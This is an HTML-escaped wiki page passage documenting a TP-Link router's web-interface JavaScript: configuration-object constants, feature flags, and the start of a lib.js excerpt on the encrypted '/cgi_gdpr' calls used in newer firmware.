var LAN_WLAN_TASK_SCHEDULE = &amp;quot;LAN_WLAN_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var LAN_WLAN_QUICKSAVE = &amp;quot;LAN_WLAN_QUICKSAVE&amp;quot;&lt;br /&gt;
var LAN_WLAN_GUESTNET = &amp;quot;LAN_WLAN_GUESTNET&amp;quot;&lt;br /&gt;
var LAN_IGMP_SNOOP = &amp;quot;LAN_IGMP_SNOOP&amp;quot;&lt;br /&gt;
var WAN_DEV = &amp;quot;WAN_DEV&amp;quot;&lt;br /&gt;
var WAN_COMMON_INTF_CFG = &amp;quot;WAN_COMMON_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_CFG = &amp;quot;WAN_DSL_INTF_CFG&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS = &amp;quot;WAN_DSL_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_DSL_INTF_STATS_TOTAL = &amp;quot;WAN_DSL_INTF_STATS_TOTAL&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTOPVC = &amp;quot;WAN_DSL_AUTOPVC&amp;quot;&lt;br /&gt;
var WAN_DSL_AUTO_PVC_PAIR = &amp;quot;WAN_DSL_AUTO_PVC_PAIR&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF = &amp;quot;WAN_ETH_INTF&amp;quot;&lt;br /&gt;
var WAN_ETH_INTF_STATS = &amp;quot;WAN_ETH_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_PON = &amp;quot;WAN_PON&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF = &amp;quot;WAN_EPON_INTF&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OAM_STATS = &amp;quot;WAN_EPON_INTF_OAM_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_MPCP_STATS = &amp;quot;WAN_EPON_INTF_MPCP_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_STATS = &amp;quot;WAN_EPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_EPON_INTF_OPTICAL_STATS = &amp;quot;WAN_EPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF = &amp;quot;WAN_GPON_INTF&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OMCI_STATS = &amp;quot;WAN_GPON_INTF_OMCI_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_STATS = &amp;quot;WAN_GPON_INTF_STATS&amp;quot;&lt;br /&gt;
var WAN_GPON_INTF_OPTICAL_STATS = &amp;quot;WAN_GPON_INTF_OPTICAL_STATS&amp;quot;&lt;br /&gt;
var WAN_CONN_DEVICE = &amp;quot;WAN_CONN_DEVICE&amp;quot;&lt;br /&gt;
var WAN_DSL_LINK_CFG = &amp;quot;WAN_DSL_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_PON_LINK_CFG = &amp;quot;WAN_PON_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_ETH_LINK_CFG = &amp;quot;WAN_ETH_LINK_CFG&amp;quot;&lt;br /&gt;
var WAN_USB_3G_LINK_CFG = &amp;quot;WAN_USB_3G_LINK_CFG&amp;quot;&lt;br /&gt;
var USB_MODEM_PARAM = &amp;quot;USB_MODEM_PARAM&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN = &amp;quot;WAN_L2TP_CONN&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_PORTMAPPING = &amp;quot;WAN_L2TP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var L2TP_CONN_PORTTRIGGERING = &amp;quot;L2TP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_L2TP_CONN_STATS = &amp;quot;WAN_L2TP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN = &amp;quot;WAN_PPTP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_PORTMAPPING = &amp;quot;WAN_PPTP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPTP_CONN_PORTTRIGGERING = &amp;quot;PPTP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPTP_CONN_STATS = &amp;quot;WAN_PPTP_CONN_STATS&amp;quot;&lt;br /&gt;
var WAN_IP_CONN = &amp;quot;WAN_IP_CONN&amp;quot;&lt;br /&gt;
var WAN_IP_CONN_PORTMAPPING = &amp;quot;WAN_IP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var IP_CONN_PORTTRIGGERING = &amp;quot;IP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN = &amp;quot;WAN_PPP_CONN&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_PORTMAPPING = &amp;quot;WAN_PPP_CONN_PORTMAPPING&amp;quot;&lt;br /&gt;
var PPP_CONN_PORTTRIGGERING = &amp;quot;PPP_CONN_PORTTRIGGERING&amp;quot;&lt;br /&gt;
var WAN_PPP_CONN_STATS = &amp;quot;WAN_PPP_CONN_STATS&amp;quot;&lt;br /&gt;
var STAT_CFG = &amp;quot;STAT_CFG&amp;quot;&lt;br /&gt;
var STAT_ENTRY = &amp;quot;STAT_ENTRY&amp;quot;&lt;br /&gt;
var DDOS_CFG = &amp;quot;DDOS_CFG&amp;quot;&lt;br /&gt;
var DOS_HOST = &amp;quot;DOS_HOST&amp;quot;&lt;br /&gt;
var ARP = &amp;quot;ARP&amp;quot;&lt;br /&gt;
var ARP_ENTRY = &amp;quot;ARP_ENTRY&amp;quot;&lt;br /&gt;
var ARP_BIND = &amp;quot;ARP_BIND&amp;quot;&lt;br /&gt;
var ARP_BIND_ENTRY = &amp;quot;ARP_BIND_ENTRY&amp;quot;&lt;br /&gt;
var QUEUE_MANAGEMENT = &amp;quot;QUEUE_MANAGEMENT&amp;quot;&lt;br /&gt;
var CLASSIFICATION = &amp;quot;CLASSIFICATION&amp;quot;&lt;br /&gt;
var QOS_APP = &amp;quot;QOS_APP&amp;quot;&lt;br /&gt;
var QOS_INTF = &amp;quot;QOS_INTF&amp;quot;&lt;br /&gt;
var QOS_QUEUE = &amp;quot;QOS_QUEUE&amp;quot;&lt;br /&gt;
var TC = &amp;quot;TC&amp;quot;&lt;br /&gt;
var TC_RULE = &amp;quot;TC_RULE&amp;quot;&lt;br /&gt;
var ALG_CFG = &amp;quot;ALG_CFG&amp;quot;&lt;br /&gt;
var IPTV = &amp;quot;IPTV&amp;quot;&lt;br /&gt;
var DSL_IPTV_CFG = &amp;quot;DSL_IPTV_CFG&amp;quot;&lt;br /&gt;
var ETH_IPTV_CFG = &amp;quot;ETH_IPTV_CFG&amp;quot;&lt;br /&gt;
var FIREWALL = &amp;quot;FIREWALL&amp;quot;&lt;br /&gt;
var INTERNAL_HOST = &amp;quot;INTERNAL_HOST&amp;quot;&lt;br /&gt;
var EXTERNAL_HOST = &amp;quot;EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var TASK_SCHEDULE = &amp;quot;TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var RULE = &amp;quot;RULE&amp;quot;&lt;br /&gt;
var URL_LIST = &amp;quot;URL_LIST&amp;quot;&lt;br /&gt;
var URL_CFG = &amp;quot;URL_CFG&amp;quot;&lt;br /&gt;
var IP6_FIREWALL = &amp;quot;IP6_FIREWALL&amp;quot;&lt;br /&gt;
var IP6_INTERNAL_HOST = &amp;quot;IP6_INTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_EXTERNAL_HOST = &amp;quot;IP6_EXTERNAL_HOST&amp;quot;&lt;br /&gt;
var IP6_TASK_SCHEDULE = &amp;quot;IP6_TASK_SCHEDULE&amp;quot;&lt;br /&gt;
var IP6_RULE = &amp;quot;IP6_RULE&amp;quot;&lt;br /&gt;
var IP6_TUNNEL = &amp;quot;IP6_TUNNEL&amp;quot;&lt;br /&gt;
var DSLITE = &amp;quot;DSLITE&amp;quot;&lt;br /&gt;
var SIT_6RD = &amp;quot;SIT_6RD&amp;quot;&lt;br /&gt;
var SERVICES = &amp;quot;SERVICES&amp;quot;&lt;br /&gt;
var VOICE = &amp;quot;VOICE&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS_STS = &amp;quot;XTP_VOICE_PROCESS_STS&amp;quot;&lt;br /&gt;
var XTP_VOICE_PROCESS = &amp;quot;XTP_VOICE_PROCESS&amp;quot;&lt;br /&gt;
var VOICE_CAP = &amp;quot;VOICE_CAP&amp;quot;&lt;br /&gt;
var VOICE_CAP_SIP = &amp;quot;VOICE_CAP_SIP&amp;quot;&lt;br /&gt;
var VOICE_CAP_MGCP = &amp;quot;VOICE_CAP_MGCP&amp;quot;&lt;br /&gt;
var VOICE_CAP_CODECS = &amp;quot;VOICE_CAP_CODECS&amp;quot;&lt;br /&gt;
var VOICE_PROF = &amp;quot;VOICE_PROF&amp;quot;&lt;br /&gt;
var VOICE_PROF_PROVIDER = &amp;quot;VOICE_PROF_PROVIDER&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP = &amp;quot;VOICE_PROF_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_SIP_EVTSUBSCRIBE = &amp;quot;VOICE_PROF_SIP_EVTSUBSCRIBE&amp;quot;&lt;br /&gt;
var VOICE_PROF_MGCP = &amp;quot;VOICE_PROF_MGCP&amp;quot;&lt;br /&gt;
var VOICE_PROF_RTP = &amp;quot;VOICE_PROF_RTP&amp;quot;&lt;br /&gt;
var VOICE_PROF_FAXT38 = &amp;quot;VOICE_PROF_FAXT38&amp;quot;&lt;br /&gt;
var XTP_USB_VOICEMAIL_PUBLICCFG = &amp;quot;XTP_USB_VOICEMAIL_PUBLICCFG&amp;quot;&lt;br /&gt;
var XTP_MULTI_ISP = &amp;quot;XTP_MULTI_ISP&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC = &amp;quot;XTP_MULTIISP_CODEC&amp;quot;&lt;br /&gt;
var XTP_MULTIISP_CODEC_LIST = &amp;quot;XTP_MULTIISP_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE = &amp;quot;VOICE_PROF_LINE&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_SIP = &amp;quot;VOICE_PROF_LINE_SIP&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_XTPUSBVM = &amp;quot;VOICE_PROF_LINE_XTPUSBVM&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CALLFEAT = &amp;quot;VOICE_PROF_LINE_CALLFEAT&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_PROC = &amp;quot;VOICE_PROF_LINE_PROC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC = &amp;quot;VOICE_PROF_LINE_CODEC&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_CODEC_LIST = &amp;quot;VOICE_PROF_LINE_CODEC_LIST&amp;quot;&lt;br /&gt;
var VOICE_PROF_LINE_STATS = &amp;quot;VOICE_PROF_LINE_STATS&amp;quot;&lt;br /&gt;
var XTP_FEATURE_CODE = &amp;quot;XTP_FEATURE_CODE&amp;quot;&lt;br /&gt;
var VOICE_PHY_INTERFACE = &amp;quot;VOICE_PHY_INTERFACE&amp;quot;&lt;br /&gt;
var VOICE_PHYINTERFACE_TESTS = &amp;quot;VOICE_PHYINTERFACE_TESTS&amp;quot;&lt;br /&gt;
var XTP_VOICE_MULTI_ISPDIALPLAN = &amp;quot;XTP_VOICE_MULTI_ISPDIALPLAN&amp;quot;&lt;br /&gt;
var XTP_VOICE_PSTN = &amp;quot;XTP_VOICE_PSTN&amp;quot;&lt;br /&gt;
var STORAGE_SERVICE = &amp;quot;STORAGE_SERVICE&amp;quot;&lt;br /&gt;
var CAPABLE = &amp;quot;CAPABLE&amp;quot;&lt;br /&gt;
var USER_ACCOUNT = &amp;quot;USER_ACCOUNT&amp;quot;&lt;br /&gt;
var USB_DEVICE = &amp;quot;USB_DEVICE&amp;quot;&lt;br /&gt;
var LOGICAL_VOLUME = &amp;quot;LOGICAL_VOLUME&amp;quot;&lt;br /&gt;
var FOLDER_BROWSE = &amp;quot;FOLDER_BROWSE&amp;quot;&lt;br /&gt;
var FOLDER_NODE = &amp;quot;FOLDER_NODE&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER = &amp;quot;DLNA_MEDIA_SERVER&amp;quot;&lt;br /&gt;
var DLNA_MEDIA_SERVER_FOLDER = &amp;quot;DLNA_MEDIA_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var SMB_SERVICE = &amp;quot;SMB_SERVICE&amp;quot;&lt;br /&gt;
var SMB_SERVICE_FOLDER = &amp;quot;SMB_SERVICE_FOLDER&amp;quot;&lt;br /&gt;
var SMB_USER_ACCESS = &amp;quot;SMB_USER_ACCESS&amp;quot;&lt;br /&gt;
var FTP_SERVER = &amp;quot;FTP_SERVER&amp;quot;&lt;br /&gt;
var FTP_SERVER_FOLDER = &amp;quot;FTP_SERVER_FOLDER&amp;quot;&lt;br /&gt;
var FTP_USER_ACCESS = &amp;quot;FTP_USER_ACCESS&amp;quot;&lt;br /&gt;
var XTP_PRINT_SERVICE = &amp;quot;XTP_PRINT_SERVICE&amp;quot;&lt;br /&gt;
var XTP_IGD_CALL_FIREWALL_CFG = &amp;quot;XTP_IGD_CALL_FIREWALL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_SPEED_DIAL_CFG = &amp;quot;XTP_IGD_SPEED_DIAL_CFG&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTI_ISP_DIAL_PLAN = &amp;quot;XTP_IGD_MULTI_ISP_DIAL_PLAN&amp;quot;&lt;br /&gt;
var XTP_IGD_MULTIISPDP_LIST = &amp;quot;XTP_IGD_MULTIISPDP_LIST&amp;quot;&lt;br /&gt;
var XTP_CALLLOGCFG = &amp;quot;XTP_CALLLOGCFG&amp;quot;&lt;br /&gt;
var IPSEC = &amp;quot;IPSEC&amp;quot;&lt;br /&gt;
var IPSEC_CFG = &amp;quot;IPSEC_CFG&amp;quot;&lt;br /&gt;
var SYS_MODE = &amp;quot;SYS_MODE&amp;quot;&lt;br /&gt;
var EWAN = &amp;quot;EWAN&amp;quot;&lt;br /&gt;
var USER_INFO = &amp;quot;USER_INFO&amp;quot;&lt;br /&gt;
var GPON_USER_INFO = &amp;quot;GPON_USER_INFO&amp;quot;&lt;br /&gt;
var GPON_AUTH_CTC = &amp;quot;GPON_AUTH_CTC&amp;quot;&lt;br /&gt;
var GPON_AUTH_SN = &amp;quot;GPON_AUTH_SN&amp;quot;&lt;br /&gt;
var GPON_AUTH_PWD = &amp;quot;GPON_AUTH_PWD&amp;quot;&lt;br /&gt;
var GPON_MAC_INFO = &amp;quot;GPON_MAC_INFO&amp;quot;&lt;br /&gt;
var GPON_FWD_RULE = &amp;quot;GPON_FWD_RULE&amp;quot;&lt;br /&gt;
var GPON_LOCAL_RULE_ENTRY = &amp;quot;GPON_LOCAL_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_REMOTE_RULE_ENTRY = &amp;quot;GPON_REMOTE_RULE_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT = &amp;quot;GPON_OMCI_IOT&amp;quot;&lt;br /&gt;
var GPON_OMCI_IOT_ENTRY = &amp;quot;GPON_OMCI_IOT_ENTRY&amp;quot;&lt;br /&gt;
var GPON_OMCI_ME_ATTR = &amp;quot;GPON_OMCI_ME_ATTR&amp;quot;&lt;br /&gt;
var CLOUD_SERVICE = &amp;quot;CLOUD_SERVICE&amp;quot;&lt;br /&gt;
var FW_UPGRADE_INFO = &amp;quot;FW_UPGRADE_INFO&amp;quot;&lt;br /&gt;
var CLOUD_USER_ACCOUNT = &amp;quot;CLOUD_USER_ACCOUNT&amp;quot;&lt;br /&gt;
var OWNER_INFO = &amp;quot;OWNER_INFO&amp;quot;&lt;br /&gt;
var CURRENT_USER_INFO = &amp;quot;CURRENT_USER_INFO&amp;quot;&lt;br /&gt;
var CLOUD_DDNS = &amp;quot;CLOUD_DDNS&amp;quot;&lt;br /&gt;
var CLOUD_DDNS_ENTRY = &amp;quot;CLOUD_DDNS_ENTRY&amp;quot;&lt;br /&gt;
var WAN_BLOCK = &amp;quot;WAN_BLOCK&amp;quot;&lt;br /&gt;
var WAN_ERROR_BLOCK = &amp;quot;WAN_ERROR_BLOCK&amp;quot;&lt;br /&gt;
var FW_UP_INFO_BLOCK = &amp;quot;FW_UP_INFO_BLOCK&amp;quot;&lt;br /&gt;
var IPPING_DIAG = &amp;quot;IPPING_DIAG&amp;quot;&lt;br /&gt;
var TRACEROUTE_DIAG = &amp;quot;TRACEROUTE_DIAG&amp;quot;&lt;br /&gt;
var SDMZ_CFG = &amp;quot;SDMZ_CFG&amp;quot;&lt;br /&gt;
var WEB_CFG = &amp;quot;WEB_CFG&amp;quot;&lt;br /&gt;
var VLAN = &amp;quot;VLAN&amp;quot;&lt;br /&gt;
var ISP_SERVICE = &amp;quot;ISP_SERVICE&amp;quot;&lt;br /&gt;
var WOL = &amp;quot;WOL&amp;quot;&lt;br /&gt;
var WOL_ITEM = &amp;quot;WOL_ITEM&amp;quot;&lt;br /&gt;
var IPV6_CFG = &amp;quot;IPV6_CFG&amp;quot;&lt;br /&gt;
var SYS_STATE = &amp;quot;SYS_STATE&amp;quot;&lt;br /&gt;
var IPV6_PASS_THROUGH = &amp;quot;IPV6_PASS_THROUGH&amp;quot;&lt;br /&gt;
var AUTO_REBOOT_CFG = &amp;quot;AUTO_REBOOT_CFG&amp;quot;&lt;br /&gt;
var CPU_MEM = &amp;quot;CPU_MEM&amp;quot;&lt;br /&gt;
var PRODUCE_INFO = &amp;quot;PRODUCE_INFO&amp;quot;&lt;br /&gt;
var MULTIMODE = &amp;quot;MULTIMODE&amp;quot;&lt;br /&gt;
var MULTIMODE_AP = &amp;quot;MULTIMODE_AP&amp;quot;&lt;br /&gt;
var AP_CONFIG_WEPKEY = &amp;quot;AP_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var AP_SNMP_CFG = &amp;quot;AP_SNMP_CFG&amp;quot;&lt;br /&gt;
var MULTIMODE_CLIENT = &amp;quot;MULTIMODE_CLIENT&amp;quot;&lt;br /&gt;
var MULTIMODE_RE = &amp;quot;MULTIMODE_RE&amp;quot;&lt;br /&gt;
var RE_CONFIG_WEPKEY = &amp;quot;RE_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var MULTIMODE_ROUTER = &amp;quot;MULTIMODE_ROUTER&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_WEPKEY = &amp;quot;ROUTER_CONFIG_WEPKEY&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MULTISSID = &amp;quot;ROUTER_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var ROUTER_CONFIG_MSSIDENTRY = &amp;quot;ROUTER_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_MSSID = &amp;quot;MULTIMODE_MSSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MULTISSID = &amp;quot;MSSID_CONFIG_MULTISSID&amp;quot;&lt;br /&gt;
var MSSID_CONFIG_MSSIDENTRY = &amp;quot;MSSID_CONFIG_MSSIDENTRY&amp;quot;&lt;br /&gt;
var MULTIMODE_HOTSPOT = &amp;quot;MULTIMODE_HOTSPOT&amp;quot;&lt;br /&gt;
var PING_WATCH_DOG = &amp;quot;PING_WATCH_DOG&amp;quot;&lt;br /&gt;
var LED_CONTROL = &amp;quot;LED_CONTROL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Dynamic Parameters &lt;br /&gt;
var INCLUDE_MULTI_LANGUAGE_Q=0&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var WEB_INCLUDE_TEST=0&lt;br /&gt;
var WEB_INCLUDE_MULTI_EWAN=0&lt;br /&gt;
var WEB_INCLUDE_DST=1&lt;br /&gt;
var WEB_QS_CHANGEPASSWORD=0&lt;br /&gt;
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0&lt;br /&gt;
var INCLUDE_UN_IPTV=0&lt;br /&gt;
var INCLUDE_SCHEDULE_NEW=0&lt;br /&gt;
var INCLUDE_HW_NAT=0&lt;br /&gt;
var INCLUDE_LED_CONTROL=0&lt;br /&gt;
var INCLUDE_MULTILANGUAGE=0&lt;br /&gt;
var INCLUDE_FEEDBACK=0&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT=0&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT=0&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST=0&lt;br /&gt;
var INCLUDE_MULTIPLE_LOCALIZATION=0&lt;br /&gt;
var INCLUDE_SCAN_ALL_CHANNELS=0&lt;br /&gt;
var INCLUDE_LAN_WLAN=1&lt;br /&gt;
var INCLUDE_VOIP&lt;br /&gt;
var INCLUDE_FXS_NUM&lt;br /&gt;
var INCLUDE_CALLLOG&lt;br /&gt;
var INCLUDE_USB_VOICEMAIL&lt;br /&gt;
var INCLUDE_PSTN&lt;br /&gt;
var INCLUDE_PSTN_GATEWAY&lt;br /&gt;
var INCLUDE_PSTN_LIFELINE&lt;br /&gt;
var INCLUDE_BRIDGING=1&lt;br /&gt;
var INCLUDE_IGMP=1&lt;br /&gt;
var INCLUDE_ETHERNET_WAN=1&lt;br /&gt;
var INCLUDE_SNMP&lt;br /&gt;
var INCLUDE_RIP=1&lt;br /&gt;
var INCLUDE_DDNS_PH&lt;br /&gt;
var INCLUDE_LAN_WLAN_MSSID=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS=1&lt;br /&gt;
var INCLUDE_IPTV&lt;br /&gt;
var INCLUDE_CWMP&lt;br /&gt;
var INCLUDE_DYNDNS=1&lt;br /&gt;
var INCLUDE_USB=1&lt;br /&gt;
var INCLUDE_USB_STORAGE=1&lt;br /&gt;
var INCLUDE_USB_MEDIA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_SAMBA_SERVER=1&lt;br /&gt;
var INCLUDE_USB_FTP_SERVER=1&lt;br /&gt;
var INCLUDE_USB_OVER_IP&lt;br /&gt;
var INCLUDE_ADSLWAN&lt;br /&gt;
var INCLUDE_AUTO_PVC&lt;br /&gt;
var INCLUDE_IPV6=1&lt;br /&gt;
var INCLUDE_IPV6_SLAAC=1&lt;br /&gt;
var INCLUDE_SPECIAL_DIAL_MODE&lt;br /&gt;
var INCLUDE_WAN_MODE=1&lt;br /&gt;
var INCLUDE_IPSEC&lt;br /&gt;
var INCLUDE_NOIPDNS=1&lt;br /&gt;
var INCLUDE_ALG_H323=1&lt;br /&gt;
var INCLUDE_ALG_SIP=1&lt;br /&gt;
var INCLUDE_PON_ETH_WAN&lt;br /&gt;
var INCLUDE_EPON_INFO&lt;br /&gt;
var INCLUDE_GPON_INFO&lt;br /&gt;
var INCLUDE_QOS&lt;br /&gt;
var INCLUDE_E8_APP&lt;br /&gt;
var INCLUDE_TFC_PERU&lt;br /&gt;
var INCLUDE_USB_3G_DONGLE=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_SCHEDULE=1&lt;br /&gt;
var INCLUDE_ROUTE_BINDING&lt;br /&gt;
var INCLUDE_LAN_WLAN_GUESTNETWORK=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_DUALBAND=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_HWSWITCH&lt;br /&gt;
var INCLUDE_LAN_WLAN_AC=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_WDS_DETECT&lt;br /&gt;
var INCLUDE_L2TP=1&lt;br /&gt;
var INCLUDE_PPTP=1&lt;br /&gt;
var INCLUDE_IPV6_MLD=1&lt;br /&gt;
var INCLUDE_ACL&lt;br /&gt;
var INCLUDE_ACL_ADVANCE&lt;br /&gt;
var INCLUDE_DUAL_ACCESS=1&lt;br /&gt;
var INCLUDE_WAN_TYPE_DETECT=1&lt;br /&gt;
var INCLUDE_BPA=1&lt;br /&gt;
var INCLUDE_CMXDNS=1&lt;br /&gt;
var INCLUDE_IPPING_DIAG=1&lt;br /&gt;
var INCLUDE_TRACEROUTE_DIAG=1&lt;br /&gt;
var INCLUDE_LAN_WLAN_QUICKSAVE=1&lt;br /&gt;
var INCLUDE_IGMP_FORCEVERSION=1&lt;br /&gt;
var INCLUDE_PORTABLE_APP=1&lt;br /&gt;
var DEFAULT_NO_SPEC=1&lt;br /&gt;
var INCLUDE_MEXICO_SPEC&lt;br /&gt;
var INCLUDE_CANADA_SPEC&lt;br /&gt;
var INCLUDE_JAPAN_SPEC&lt;br /&gt;
var INCLUDE_KOREA_SPEC&lt;br /&gt;
var INCLUDE_PL_SPEC&lt;br /&gt;
var INCLUDE_BR_SPEC&lt;br /&gt;
var INCLUDE_ROMANIA_SPEC&lt;br /&gt;
var INCLUDE_RUSSIA_SPEC&lt;br /&gt;
var INCLUDE_US_SPEC&lt;br /&gt;
var INCLUDE_VN_SPEC&lt;br /&gt;
var INCLUDE_VIETNAM_FPT&lt;br /&gt;
var INCLUDE_TW_SPEC&lt;br /&gt;
var INCLUDE_ES_SPEC&lt;br /&gt;
var INCLUDE_X_TP_VLAN=1&lt;br /&gt;
var INCLUDE_FORBID_WAN_PING=1&lt;br /&gt;
var INCLUDE_SMART_DHCP=1&lt;br /&gt;
var INCLUDE_MIC=1&lt;br /&gt;
var INCLUDE_IPV6_PASS_THROUGH&lt;br /&gt;
var INCLUDE_AUTOREBOOT&lt;br /&gt;
var INCLUDE_CPUMEM_INFO&lt;br /&gt;
var INCLUDE_MULTIMODE_RE=1&lt;br /&gt;
var INCLUDE_MULTIMODE_AP=1&lt;br /&gt;
var INCLUDE_MULTIMODE_CLIENT=1&lt;br /&gt;
var INCLUDE_MULTIMODE=1&lt;br /&gt;
var INCLUDE_PING_WATCHDOG=1&lt;br /&gt;
var INCLUDE_MULTIMODE_ROUTER=1&lt;br /&gt;
var INCLUDE_MULTIMODE_MSSID&lt;br /&gt;
var INCLUDE_YANDEX_DNS&lt;br /&gt;
var INCLUDE_LED_CONTROL&lt;br /&gt;
var INCLUDE_MULTILANGUAGE&lt;br /&gt;
var INCLUDE_FORCE_TIMEZONE_SELECT&lt;br /&gt;
var INCLUDE_FORCE_REGION_SELECT&lt;br /&gt;
var INCLUDE_MULTIMODE_HOTSPOT=1&lt;br /&gt;
var INCLUDE_WLAN_REGION_LIST&lt;br /&gt;
var INCLUDE_FBWIFI&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin: 5px 0&amp;quot;&amp;gt;The previously introduced concept varies a little bit on the newer firmware, which uses &amp;lt;code&amp;gt;/cgi_gdpr&amp;lt;/code&amp;gt; in addition to &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt;. In this scenario the payload gets AES encrypted before transmitting. The generic &amp;lt;code&amp;gt;/cgi&amp;lt;/code&amp;gt; calls are still used, but most calls need to be encrypted. This is done by setting the new &amp;lt;code&amp;gt;$.exe(hook, unerr, securityLevel)&amp;lt;/code&amp;gt; parameter &amp;lt;code&amp;gt;securityLevel&amp;lt;/code&amp;gt; to 1, to enable encryption.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N FW190428&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 13px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Strongly Reduced version of the lib.js, showing the $.cgi, $.act and $.exe methods.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;# lib_modified.js&lt;br /&gt;
(function(){&lt;br /&gt;
var window = this,&lt;br /&gt;
	&lt;br /&gt;
	window.$ = {&lt;br /&gt;
&lt;br /&gt;
		cgi: function(path, arg, hook, noquit, unerr) {&lt;br /&gt;
			var expr = /(^|\/)(\w+)\.htm$/;&lt;br /&gt;
			if ($.local || $.sim) path = $.params;&lt;br /&gt;
			else path = (path ? path : $.curPage.replace(/\.htm$/, &amp;quot;.cgi&amp;quot;)) + (arg ? &amp;quot;?&amp;quot; + $.toStr(arg, &amp;quot;=&amp;quot;, &amp;quot;&amp;amp;&amp;quot;) : &amp;quot;&amp;quot;);&lt;br /&gt;
			$.ret = 0;&lt;br /&gt;
